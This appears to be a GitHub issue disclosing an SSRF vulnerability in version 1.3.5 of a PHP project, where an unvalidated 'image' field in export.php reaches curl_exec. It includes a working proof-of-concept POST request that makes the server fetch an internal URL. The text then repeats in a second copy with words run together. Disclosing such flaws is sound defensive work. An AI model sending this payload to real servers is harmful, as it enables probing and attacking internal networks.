Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
Impact version: v1.3.5
Test with PHP 7.2
The vulnerable code is located in the init function of the native-support/archive/src/ImageCapture.class.php file, which does not sufficiently validate the image parameter, leading to a taint introduced from the native-support/export.php file in the $_REQUEST['data'] variable in the native-support/export.php file and eventually enters the tainted function curl_init, which, after the curl_exec function is executed, sends a request to the URL specified by the image parameter, eventually leading to an SSRF vulnerability.
Because the image parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows
POST /export.php HTTP/1.1
Host: 172.16.119.1:81
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.119.1:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.119.1:81/export.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
type=xmind&data={"data":{"image":"http://172.16.119.1/testpoc"}}
You can also use the following curl command to verify the vulnerability
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
Impact version: v1.3.5
Test with PHP 7.2
The vulnerable code is located in the
initfunction of thenative-support/archive/src/ImageCapture.class.phpfile, which does not sufficiently validate the image parameter, leading to a taint introduced from thenative-support/export.phpfile in the$_REQUEST['data']variable in thenative-support/export.phpfile and eventually enters the tainted functioncurl_init, which, after thecurl_execfunction is executed, sends a request to the URL specified by the image parameter, eventually leading to an SSRF vulnerability.The function call path is as follows.
The vulnerable function
initBecause the
imageparameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as followsYou can also use the following curl command to verify the vulnerability
The text was updated successfully, but these errors were encountered: